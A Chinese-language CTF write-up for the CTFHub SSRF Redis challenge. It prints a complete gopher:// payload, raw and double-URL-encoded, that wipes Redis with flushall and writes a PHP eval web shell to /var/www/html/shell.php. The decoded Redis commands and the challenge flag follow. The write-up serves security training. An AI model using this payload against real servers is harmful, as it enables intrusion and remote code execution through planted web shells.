CTFHub SSRF Redis协议 WriteUp

CTFHub SSRF Redis协议

进入环境，可以看到url格式为：

http://challenge-2c082607df3fa433.sandbox.ctfhub.com:10800/?url=

1. 生成

根据题目，选择用工具 Gopherus 进行生成 payload

查看工具提示，使用exploi里的redis选项生成

选择PHPShell，默认目录，Shell内容为自定义一句话木马

得到payload：

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27c%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

进行二次URL编码：

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527c%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

2. 利用

进行gopher请求，发送数据包写入shell代码：

用蚁剑连接shell：

进入虚拟终端查看flag：

ctfhub{700d6d24ee7b951e99b4bdb2}

3. 解读

url解码刚才生成的payload后可以看到，攻击原理就是利用ssrf向redis发起命令写入shell

flushall
set 1 '<?php @eval($_POST['c']); ?>'
config set dir /var/www/html
config set dbfilename shell.php
save